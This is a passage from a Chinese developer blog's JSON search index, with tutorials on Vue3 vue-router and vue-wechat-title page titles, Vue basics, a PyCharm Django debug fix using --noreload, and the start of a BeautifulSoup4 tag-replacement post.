至此，本文介绍了通过Django的restframework接口框架自定义Response返回对象来自定义返回数据格式。Django的restframework接口框架使用简单方便，拿来即用，能够很大程度上减少代码开发量。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-07-14-django%E7%9A%84restframework%E6%8E%A5%E5%8F%A3%E6%A1%86%E6%9E%B6%E8%87%AA%E5%AE%9A%E4%B9%89%E8%BF%94%E5%9B%9E%E6%95%B0%E6%8D%AE%E6%A0%BC%E5%BC%8F/","summary":"\u003cp\u003e在前后端分离是大趋势的背景下，前端获取数据都是通过调用后台的接口来获取数据微服务的应用越来越多。Django是Python进行web应用开发常用的web框架，用Django框架进行web应用框架减少了很多工作，通常用很少量的代码就可以实现数据的增、删、改、查的业务应用，同样用Django的restframework的框架对外发布接口也是非常的简单方便，几行代码就可以将数据对象通过接口的方式提供服务。因为在实际开发过程中接口的返回数据有一定的格式，本文介绍通过自定义Response返回对象来自定义接口返回数据格式。\u003c/p\u003e","title":"Django的restframework接口框架自定义返回数据格式"},{"content":"对于用类似Vue前后端分离技术架构的单页应用页面之间的跳转没有非前后端分离那么来得直接，甚至连设置跳转页面的Title都要费一番周折，本文介绍Vue3引入vue-router路由并设置页面Title，通过vue-router实现页面的路由，通过vue-wechat-title来设置页面的title。\n一、用vue-router库实现路由管理 vue-router是Vue.js官方推荐的路由管理库。它和Vue.js的核心深度集成，让构建单页应用变得轻松容易。使用Vue.js和vue-router库创建单页应用非常的简单：使用Vue.js开发，整个应用已经被拆分成了独立的组件；使用vue-router库，可以把路由映射到各个组件，并把各个组件渲染到正确的地方。下面就来介绍如何安装引入vue-router库并实现路由管理\n1、安装vue-router库 使用如下命令安装vue-router库\n1 npm install -save -vue-router 也可以通过 npm install -save vue-router@4 来指定版本号@4表示版本是4 安装成功后，可以在控制台看到了安装成功的信息和版本号 除此之外也可以在工程中的package.json中看到依赖的库中包含有vue-router及版本号。 2、在router文件夹下创建router.js 在工程的src目录下建立router文件夹 在router文件夹下创建router.js，该文件是Vue路由管理的核心文件，所有的各组件的路由在该文件中进行配置。 参考代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import { createRouter,createWebHistory } from \u0026#34;vue-router\u0026#34;; //引入vue-router组件 import HelloWorld from \u0026#39;@/components/HelloWorld\u0026#39;; //引入需要路由管理的页面组件HelloWorld import siteLogin from \u0026#39;@/views/user/login\u0026#39;; //引入需要路由管理的页面组件login import userInfo from \u0026#34;@/views/user/userinfo\u0026#34;; //引入需要路由管理的页面组件userinfo const router = createRouter({ history:createWebHistory(), routes:[ { path:\u0026#39;/\u0026#39;, //路由的路径 name:\u0026#39;Home\u0026#39;, //路由的名称 component:HelloWorld, //路由的组件 }, { path:\u0026#39;/login\u0026#39;, name:\u0026#39;Login\u0026#39;, component:siteLogin, }, { path:\u0026#39;/userinfo\u0026#39;, name:\u0026#39;UserInfo\u0026#39;, component:userInfo, } ] }) export default router; 代码组织结构如下： 3、在App.vue中加入路由视图 在App.vue中加入\u0026lt;router-view /\u0026gt; App.vue示例代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;router-view /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { name: \u0026#39;App\u0026#39;, } \u0026lt;/script\u0026gt; \u0026lt;style\u0026gt; \u0026lt;/style\u0026gt; 4、在项目的main.js中引入路由 参考代码如下：\n1 2 3 4 import { createApp } from \u0026#39;vue\u0026#39;; import App from \u0026#39;./App.vue\u0026#39;; import router from \u0026#34;@/router/router\u0026#34;; //引入路由，会去找router下的router.js的配置文件 createApp(App).use(router).mount(\u0026#39;#app\u0026#39;) //创建应用的时候应用路由 5、验证效果 为了显示更清楚，将默认创建的src\\components\\HelloWorld.vue内容稍加调整\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 \u0026lt;template\u0026gt; \u0026lt;div \u0026gt; 第一个路由组件Home \u0026lt;p\u0026gt;{{ name }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { name: \u0026#39;HelloWorld\u0026#39;, data() { return { name:\u0026#34;Hello World!\u0026#34; } } } \u0026lt;/script\u0026gt; \u0026lt;!-- Add \u0026#34;scoped\u0026#34; attribute to limit CSS to this component only --\u0026gt; \u0026lt;style scoped\u0026gt; \u0026lt;/style\u0026gt; 如果上面的步骤没有遗漏，在终端输入 npm run serve 将前端服务启动起来，在浏览器访问localhost:8080可以看到如下页面：\n访问localhost:8080/login\n访问localhost:8080/userinfo\n可以看到访问不同的URL路由到了不同的Vue页面，上述login.vue和userinfo.vue示例代码没有给出，大家可以自行随便实现。\n二、用vue-wechat-title实现页面title的设置 在上面实现了不同页面的路由管理，但是访问不同的URL看到的页面title所有的页面都是一样的，如何设置不同页面不同的页面Title呢？比较方便的做法是用vue-wechat-title来实现。 同样首先要安装vue-wechat-title库\n1、安装vue-wechat-title库 使用如下命令安装vue-wechat-title库\n1 npm install vue-wechat-title -save 安装完成后在工程中的package.json中看到依赖的库中包含有vue-wechat-title及版本号 2、在router文件夹下的router.js中增加title的配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import { createRouter,createWebHistory } from \u0026#34;vue-router\u0026#34;; //引入vue-router组件 import HelloWorld from \u0026#39;@/components/HelloWorld\u0026#39;; //引入需要路由管理的页面组件HelloWorld import siteLogin from \u0026#39;@/views/user/login\u0026#39;; //引入需要路由管理的页面组件login import userInfo from \u0026#34;@/views/user/userinfo\u0026#34;; //引入需要路由管理的页面组件userinfo const router = createRouter({ history:createWebHistory(), routes:[ { path:\u0026#39;/\u0026#39;, //路由的路径 name:\u0026#39;Home\u0026#39;, //路由的名称 meta:{ title: \u0026#39;首页\u0026#39; //title配置 }, component:HelloWorld, //路由的组件 }, { path:\u0026#39;/login\u0026#39;, name:\u0026#39;Login\u0026#39;, meta:{ title:\u0026#39;登录\u0026#39; }, component:siteLogin, }, { path:\u0026#39;/userinfo\u0026#39;, name:\u0026#39;UserInfo\u0026#39;, meta:{ title: \u0026#39;用户信息\u0026#39; }, component:userInfo, } ] }) export default router; 主要是在路由配置时设置了meta:{title:'xxxx'}如下图：\n3、在App.vue页面中使用 App.vue代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34; v-wechat-title=\u0026#34;$route.meta.title\u0026#34;\u0026gt; \u0026lt;router-view /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { name: \u0026#39;App\u0026#39;, } \u0026lt;/script\u0026gt; \u0026lt;style\u0026gt; \u0026lt;/style\u0026gt; 主要是在\u0026lt;div id=\u0026quot;app\u0026quot; v-wechat-title=\u0026quot;$route.meta.title\u0026quot;\u0026gt; 加入了v-wechat-title=\u0026quot;$route.meta.title\u0026quot;\n4、在main.js中引用vue-wechat-title 在main.js中引用vue-wechat-title的时候有个坑，如果按照一般的引用会报错 mian.js代码示例如下：\n1 2 3 4 5 import { createApp } from \u0026#39;vue\u0026#39;; import App from \u0026#39;./App.vue\u0026#39;; import router from \u0026#34;@/router/router\u0026#34;; //引入路由，会去找router下的router.js的配置文件 import VueWechatTitle from \u0026#39;vue-wechat-title\u0026#39;; //引入VueWechatTitle createApp(App).use(router,VueWechatTitle).mount(\u0026#39;#app\u0026#39;) //创建应用的时候应用路由 在终端输入 npm run serve 将前端服务启动起来会报错！ Uncaught TypeError: Cannot read properties of undefined (reading \u0026lsquo;deep\u0026rsquo;)\n原因是在挂载app示例前，vue-wechat-title还没有加载好，一定要先应用再挂载app 将createApp(App).use(router,VueWechatTitle).mount(\u0026rsquo;#app\u0026rsquo;)删除或注释掉。改用\n1 2 3 4 const app=createApp(App); app.use(VueWechatTitle); app.use(router); app.mount(\u0026#39;#app\u0026#39;) main.js的参考示例代码如下：\n1 2 3 4 5 6 7 8 9 import { createApp } from \u0026#39;vue\u0026#39;; import App from \u0026#39;./App.vue\u0026#39;; import router from \u0026#34;@/router/router\u0026#34;; //引入路由，会去找router下的router.js的配置文件 import VueWechatTitle from \u0026#39;vue-wechat-title\u0026#39;; //引入VueWechatTitle //createApp(App).use(router,VueWechatTitle).mount(\u0026#39;#app\u0026#39;) //指令定义在 mount(\u0026#39;#app\u0026#39;)之后，导致自定义指令未挂载到，会报错 const app=createApp(App); app.use(VueWechatTitle); app.use(router); app.mount(\u0026#39;#app\u0026#39;) 5、验证效果 在终端输入 npm run serve 将前端服务启动起来 看到访问不同的URL会显示不同的title http://localhost:8080/\nhttp://localhost:8080/login\nhttp://localhost:8080/userinfo\n本文通过以上实例实现了Vue3引入vue-router路由并设置页面Title，通过vue-router实现页面的路由，通过vue-wechat-title来设置页面的title都还比较方便。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-07-03-vue3%E5%BC%95%E5%85%A5vue-router%E8%B7%AF%E7%94%B1%E5%B9%B6%E9%80%9A%E8%BF%87vue-wechat-title%E8%AE%BE%E7%BD%AE%E9%A1%B5%E9%9D%A2title/","summary":"\u003cp\u003e对于用类似Vue前后端分离技术架构的单页应用页面之间的跳转没有非前后端分离那么来得直接，甚至连设置跳转页面的Title都要费一番周折，本文介绍Vue3引入vue-router路由并设置页面Title，通过vue-router实现页面的路由，通过vue-wechat-title来设置页面的title。\u003c/p\u003e","title":"Vue3引入vue-router路由并通过vue-wechat-title设置页面title"},{"content":"一、什么是Vue Vue (读音 /vjuː/，类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是，Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层，不仅易于上手，还便于与第三方库或既有项目整合。另一方面，当与现代化的工具链以及各种支持类库结合使用时，Vue 也完全能够为复杂的单页应用提供驱动。\n二、安装 1、独立版本 直接下载并用\u0026lt;script\u0026gt;标签引入 官网下载地址：https://cn.vuejs.org/js/vue.js 2、使用CDN 和独立版本类似，与独立版本的区别就是不用下载到本地应用，直接引用CDN加速以后的地址。缺点是如果是内网封闭环境不能用，国内CDN也不稳定，国外的CDN有时无法访问。如官网的 \u0026lt;script src=\u0026quot;https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js\u0026quot;\u0026gt;\u0026lt;/script\u0026gt; 就无法访问。 几个比较稳定的CDN Staticfile CDN（国内） : https://cdn.staticfile.org/vue/2.2.2/vue.min.js unpkg：https://unpkg.com/vue@2.6.14/dist/vue.min.js。 cdnjs : https://cdnjs.cloudflare.com/ajax/libs/vue/2.1.8/vue.min.js 3、命令行工具 Vue 提供了一个官方的 CLI，为单页面应用 (SPA) 快速搭建繁杂的脚手架。它为现代前端工作流提供了开箱即用的构建设置。只需要几分钟的时间就可以运行起来并带有热重载、保存时 lint 校验，以及生产环境可用的构建版本。更多详情可查阅 Vue CLI 的文档。\n三、第一个Vue 程序员学一门新的语音或框架，都是从hello world！开始的。来看一下Vue的hello world! 将vue.min.js下载到本地，在vue.min.js的目录下新建一个hellovue.html的文件，代码如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;script src=\u0026#34;vue.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; {{ message }} \u0026lt;/div\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; var app = new Vue({ el: \u0026#39;#app\u0026#39;, data: { message: \u0026#39;Hello Vue!\u0026#39; } }); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 用浏览器打开，hello Vue! 成功的展现出来，第一个Vue就这么简单。 在这里我们通过\u0026lt;script src=\u0026quot;vue.min.js\u0026quot;\u0026gt;\u0026lt;/script\u0026gt;引入了本地的vue.min.js，就可以用vue框架了。 通过\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;构建了一个DOM元素div标签元素，id为app，{% raw %}{{message}} {% endraw %}是占位符，类似于大多数的模板语法。\n1 2 3 \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; {{ message }} \u0026lt;/div\u0026gt; 在javascript代码中，定义了一个Vue对象，对象中构造了el和data两个参数。el是元素选择器，通过#app选择了id=\u0026quot;app\u0026quot;的div，data用来定义数据属性，这里定义了massage:'hellow Vue!',通过{% raw %}{{message}}{% endraw %}将数据hellow Vue显示输出。 可以用chrome浏览器的开发者工具打开控制台看到app.message的值为\u0026rsquo;hellow Vue!\u0026rsquo;。 可以通过修改这个变量的值而改变显示在浏览器的值。 四、常用基本语法 模板语法 Vue.js 使用了基于 HTML 的模板语法，允许开发者声明式地将 DOM 绑定至底层 Vue 实例的数据。 Vue.js 的核心是一个允许你采用简洁的模板语法来声明式的将数据渲染进 DOM 的系统。 结合响应系统，在应用状态改变时， Vue 能够智能地计算出重新渲染组件的最小代价并应用到 DOM 操作上\n插值文本 数据绑定最常见的形式就是使用 {% raw %}{{xxx}}{% endraw %}（双大括号）的文本插值： 正如我们的第一的Vue通过{% raw %}{{ message }}{% endraw %}将文本值插入到占位符进行数据绑定\n1 2 3 \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{{ message }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; 绑定输出html 使用v-html 指令用于输出 html 代码：\n1 2 3 4 5 6 7 8 9 10 app2:v-html指令输出html代码 \u0026lt;div id=\u0026#34;app2\u0026#34;\u0026gt; \u0026lt;div v-html=\u0026#34;message\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; var app2 = new Vue({ el: \u0026#39;#app2\u0026#39;, data: { message: \u0026#39;\u0026lt;b\u0026gt;Hello Vue!\u0026lt;/b\u0026gt;\u0026#39; } }); 效果如下图所示： 如果不用v-html插入，将\u0026lt;div id=\u0026quot;app2\u0026quot;\u0026gt;标签内容改成用文本插入\n1 2 3 \u0026lt;div id=\u0026#34;app2\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{{ message }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; 显示效果如下，直接将html代码给显示出来了。 绑定属性 HTML 属性中的值应使用 v-bind 指令。 如插入绑定 a 标签的href属性\n1 2 3 4 5 6 7 8 9 10 app3:v-bind指令绑定属性值 \u0026lt;div id=\u0026#34;app3\u0026#34;\u0026gt; \u0026lt;a target=\u0026#34;_blank\u0026#34; v-bind:href=\u0026#34;url\u0026#34;\u0026gt;click me go to myblog\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; var app3 = new Vue({ el: \u0026#39;#app3\u0026#39;, data: { url: \u0026#39;http://xiejava.ishareread.com/\u0026#39; } }); 效果如下： 绑定样式 class 与 style 是 HTML 元素的属性，用于设置元素的样式，可以用 v-bind 来绑定设置样式属性\n1 2 3 4 5 6 7 8 9 10 11 12 app4:v-band:class指令绑定样式 \u0026lt;div id=\u0026#34;app4\u0026#34;\u0026gt; \u0026lt;div v-bind:class=\u0026#34;{ \u0026#39;active\u0026#39;: isActive }\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;br\u0026gt; var app4=new Vue( { el: \u0026#39;#app4\u0026#39;, data: { isActive:true } }); 定义样式\n1 2 3 4 5 6 7 \u0026lt;style\u0026gt; .active { width: 100px; height: 100px; background: red; } \u0026lt;/style\u0026gt; 效果如下： 插值Javascript表达式 vue.js插值支持javascript表达式\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 app5:vue.js插值的javascript表达式支持 \u0026lt;div id=\u0026#34;app5\u0026#34;\u0026gt; {{5+5}}\u0026lt;br\u0026gt; {{ ok ? \u0026#39;YES\u0026#39; : \u0026#39;NO\u0026#39; }}\u0026lt;br\u0026gt; {{ message.split(\u0026#39;\u0026#39;).reverse().join(\u0026#39;\u0026#39;) }} \u0026lt;div v-bind:id=\u0026#34;\u0026#39;list-\u0026#39; + id\u0026#34;\u0026gt;xiejava\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;br\u0026gt; var app5 = new Vue({ el: \u0026#39;#app5\u0026#39;, data: { ok: true, message: \u0026#39;XIEJAVA\u0026#39;, id : 1 } }); 效果如下：\n常用语句\nv-if v-else （条件语句） 条件判断使用 v-if 指令，可以用 v-else 指令给 v-if 添加一个 \u0026ldquo;else\u0026rdquo; 块：\n1 2 3 4 5 6 7 8 9 10 11 app6:v-if条件语句 \u0026lt;div id=\u0026#34;app6\u0026#34;\u0026gt; \u0026lt;div v-if=\u0026#34;ok\u0026#34;\u0026gt;YES\u0026lt;/div\u0026gt; \u0026lt;div v-else\u0026gt;NO\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; var app6 = new Vue({ el:\u0026#34;#app6\u0026#34;, data:{ ok:false, } }); 效果如下：\nfor循环语句 循环使用 v-for 指令，v-for 可以绑定数据到数组来渲染一个列表\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 \u0026lt;div id=\u0026#34;app7\u0026#34;\u0026gt; \u0026lt;ol\u0026gt; \u0026lt;li v-for=\u0026#34;code in codes\u0026#34;\u0026gt; {{ code.name }} \u0026lt;/li\u0026gt; \u0026lt;/ol\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;br\u0026gt; var app7=new Vue( { el: \u0026#39;#app7\u0026#39;, data: { codes: [ { name: \u0026#39;java\u0026#39; }, { name: \u0026#39;python\u0026#39; }, { name: \u0026#39;php\u0026#39; } ] } }); 效果如下： v-on绑定事件 事件监听可以使用 v-on 指令进行绑定\n1 2 3 4 5 6 7 8 9 10 11 \u0026lt;div id=\u0026#34;app8\u0026#34;\u0026gt; \u0026lt;button v-on:click=\u0026#34;counter += 1\u0026#34;\u0026gt;+1\u0026lt;/button\u0026gt; \u0026lt;p\u0026gt;加了 {{ counter }} 次1。\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; var app8=new Vue( { el: \u0026#39;#app8\u0026#39;, data: { counter:0 } }); 效果如下：\n以上全部示例代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.staticfile.org/vue/2.2.2/vue.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; app1:hello Vue! \u0026lt;div id=\u0026#34;app1\u0026#34;\u0026gt; {{ message }} \u0026lt;/div\u0026gt; \u0026lt;br\u0026gt; app2:v-html指令输出html代码 \u0026lt;div id=\u0026#34;app2\u0026#34;\u0026gt; \u0026lt;div v-html=\u0026#34;message\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;br\u0026gt; app3:v-bind指令绑定属性值 \u0026lt;div id=\u0026#34;app3\u0026#34;\u0026gt; \u0026lt;a target=\u0026#34;_blank\u0026#34; v-bind:href=\u0026#34;url\u0026#34;\u0026gt;click me go to myblog\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;br\u0026gt; app4:v-band:class指令绑定样式 \u0026lt;div id=\u0026#34;app4\u0026#34;\u0026gt; \u0026lt;div v-bind:class=\u0026#34;{ \u0026#39;active\u0026#39;: isActive }\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;br\u0026gt; app5:vue.js插值的javascript表达式支持 \u0026lt;div id=\u0026#34;app5\u0026#34;\u0026gt; {{5+5}}\u0026lt;br\u0026gt; {{ ok ? \u0026#39;YES\u0026#39; : \u0026#39;NO\u0026#39; }}\u0026lt;br\u0026gt; {{ message.split(\u0026#39;\u0026#39;).reverse().join(\u0026#39;\u0026#39;) }} \u0026lt;div v-bind:id=\u0026#34;\u0026#39;list-\u0026#39; + id\u0026#34;\u0026gt;xiejava\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;br\u0026gt; app6:v-if条件语句 \u0026lt;div id=\u0026#34;app6\u0026#34;\u0026gt; \u0026lt;div v-if=\u0026#34;ok\u0026#34;\u0026gt;YES\u0026lt;/div\u0026gt; \u0026lt;div v-else\u0026gt;NO\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;br\u0026gt; app7:for循环语句 \u0026lt;div id=\u0026#34;app7\u0026#34;\u0026gt; \u0026lt;ol\u0026gt; \u0026lt;li v-for=\u0026#34;code in codes\u0026#34;\u0026gt; {{ code.name }} \u0026lt;/li\u0026gt; \u0026lt;/ol\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;br\u0026gt; app8:v-on绑定事件 \u0026lt;div id=\u0026#34;app8\u0026#34;\u0026gt; \u0026lt;button v-on:click=\u0026#34;counter += 1\u0026#34;\u0026gt;+1\u0026lt;/button\u0026gt; \u0026lt;p\u0026gt;加了 {{ counter }} 次1。\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;br\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; var app1 = new Vue({ el: \u0026#39;#app1\u0026#39;, data: { message: \u0026#39;Hello Vue!\u0026#39; } }); var app2 = new Vue({ el: \u0026#39;#app2\u0026#39;, data: { message: \u0026#39;\u0026lt;b\u0026gt;Hello Vue!\u0026lt;/b\u0026gt;\u0026#39; } }); var app3 = new Vue({ el: \u0026#39;#app3\u0026#39;, data: { url: \u0026#39;http://xiejava.ishareread.com/\u0026#39; } }); var app4=new Vue( { el: \u0026#39;#app4\u0026#39;, data: { isActive:true } }); var app5 = new Vue({ el: \u0026#39;#app5\u0026#39;, data: { ok: true, message: \u0026#39;XIEJAVA\u0026#39;, id : 1 } }); var app6 = new Vue({ el:\u0026#34;#app6\u0026#34;, data:{ ok:false, } }); var app7=new Vue( { el: \u0026#39;#app7\u0026#39;, data: { codes: [ { name: \u0026#39;java\u0026#39; }, { name: \u0026#39;python\u0026#39; }, { name: \u0026#39;php\u0026#39; } ] } }); var app8=new Vue( { el: \u0026#39;#app8\u0026#39;, data: { counter:0 } }); \u0026lt;/script\u0026gt; \u0026lt;style\u0026gt; .active { width: 100px; height: 100px; background: red; } \u0026lt;/style\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 通过上面的快速入门，基本了解什么是VUE、VUE的安装及基本的使用，常用的语法。后面还要更深入的学习VUE的组件、路由、后台接口调用等。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-07-03-vue%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/","summary":"\u003ch2 id=\"一什么是vue\"\u003e一、什么是Vue\u003c/h2\u003e\n\u003cp\u003eVue (读音 /vjuː/，类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是，Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层，不仅易于上手，还便于与第三方库或既有项目整合。另一方面，当与现代化的工具链以及各种支持类库结合使用时，Vue 也完全能够为复杂的单页应用提供驱动。\u003c/p\u003e","title":"Vue快速入门"},{"content":"初次用Django开发web应用，在试图用Pycharm进行debug的时候，出现了一个奇怪的问题。以正常模式启动或者在terminal启动都没有问题。但是以debug模式启动时，显示can't find '__main__' module”报错。在网上找了很久都没有看到解决方法，最后在某乎上看到一篇文章，在启动时加上--noreload参数，既可以debug模式启动。\n报错信息： 解决方法： 在启动时加上 --noreload 参数可以正常启动调试 debug启动正常也可以调试了。 踩过的坑记录一下，希望能帮到碰到同样问题的人。\n感谢大佬的文章 https://zhuanlan.zhihu.com/p/443763989\n博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-06-06-pycharm%E5%9C%A8%E7%94%A8django%E5%BC%80%E5%8F%91%E6%97%B6debug%E6%A8%A1%E5%BC%8F%E5%90%AF%E5%8A%A8%E5%A4%B1%E8%B4%A5%E7%9A%84%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95/","summary":"\u003cp\u003e初次用Django开发web应用，在试图用Pycharm进行debug的时候，出现了一个奇怪的问题。以正常模式启动或者在terminal启动都没有问题。但是以debug模式启动时，显示\u003ccode\u003ecan't find '__main__' module”\u003c/code\u003e报错。在网上找了很久都没有看到解决方法，最后在某乎上看到一篇文章，在启动时加上\u003ccode\u003e--noreload\u003c/code\u003e参数，既可以debug模式启动。\u003c/p\u003e","title":"PyCharm在用Django开发时debug模式启动失败显示can't find '__main__' module的解决方法"},{"content":"最近有个小项目，需要爬取页面上相应的资源数据后，保存到本地，然后将原始的HTML源文件保存下来，对HTML页面的内容进行修改将某些标签整个给替换掉。\n对于这类需要对HTML进行操作的需求，最方便的莫过于BeautifulSoup4的库了。\n样例的HTML代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;a class=\u0026#34;videoslide\u0026#34; href=\u0026#34;http://www.test.com/wp-content/uploads/1020/1381824922.JPG\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;http://www.test.com/wp-content/uploads/1020/1381824922_zy_compress.JPG\u0026#34; data-zy-media-id=\u0026#34;zy_location_201310151613422786\u0026#34;/\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#34;http://www.test.com/wp-content/uploads/1020/第一张_1381824798.JPG\u0026#34;\u0026gt; \u0026lt;img data-zy-media-id=\u0026#34;zy_image_201310151613169945\u0026#34; src=\u0026#34;http://www.test.com/wp-content/uploads/1020/第一张_1381824798_zy_compress.JPG\u0026#34;/\u0026gt;\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#34;http://www.test.com/wp-content/uploads/1020/第二张_1381824796.jpg\u0026#34;\u0026gt; \u0026lt;img data-zy-media-id=\u0026#34;zy_image_201310151613163009\u0026#34; src=\u0026#34;http://www.test.com/wp-content/uploads/1020/第二张_1381824796_zy_compress.jpg\u0026#34;/\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#34;http://www.test.com/wp-content/uploads/1020/第三张.jpg\u0026#34;\u0026gt; \u0026lt;img data-zy-media-id=\u0026#34;zy_image_201312311838584446\u0026#34; src=\u0026#34;http://www.test.com/wp-content/uploads/1020/第三张_zy_compress.jpg\u0026#34;/\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 这里主要包括了\u0026lt;a \u0026gt;标签，\u0026lt;a \u0026gt;标签里面嵌入了\u0026lt;img \u0026gt;标签，其中有\u0026lt;a class=\u0026quot;videoslide\u0026quot;\u0026gt;的标识该标签实际是可以播放动画的。需要根据class=\u0026quot;videoslide\u0026quot; 来判断将整个\u0026lt;a \u0026gt;标签换成播放器的\u0026lt;video \u0026gt;标签，将没有class=\u0026quot;videoslide\u0026quot; 的\u0026lt;a \u0026gt;标签换成\u0026lt;figure\u0026gt;标签。\n也就是将带有的\u0026lt;a class=\u0026quot;videoslide\u0026quot; ...\u0026gt;\u0026lt;img ... /\u0026gt;\u0026lt;/a\u0026gt;标签换成\n1 2 3 4 5 6 \u0026lt;div class=\u0026#34;video\u0026#34;\u0026gt; \u0026lt;video controls width=\u0026#34;100%\u0026#34; poster=\u0026#34;视频链接的图片地址.jpg\u0026#34;\u0026gt; \u0026lt;source src=\u0026#34;视频文件的静态地址.mp4\u0026#34; type=\u0026#34;video/mp4\u0026#34; /\u0026gt; 您的浏览器不支持H5视频，请使用Chrome/Firefox/Edge浏览器。 \u0026lt;/video\u0026gt; \u0026lt;/div\u0026gt; 将\u0026lt;a ....\u0026gt;\u0026lt;img .../\u0026gt;\u0026lt;/a\u0026gt;标签换成\n1 2 3 4 \u0026lt;figure\u0026gt; \u0026lt; img src=\u0026#34;图片地址_compressed.jpg\u0026#34; data-zy-media-id=\u0026#34;图片地址.jpg\u0026#34;\u0026gt; \u0026lt;figcaption\u0026gt;文字说明（如果有）\u0026lt;/figcaption\u0026gt; \u0026lt;/figure\u0026gt; 这里通过BeautifulSoup4 的select()方法找到标签，通过get()方法获取标签及标签属性值，通过replaceWith来替换标签，具体代码如下： 首先安装BeautifulSoup4的库，BeautifulSoup4库依赖于lxml库，所以也需要安装lxml库。\n1 2 pip install bs4 pip install lxml 具体代码实现如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import os from bs4 import BeautifulSoup 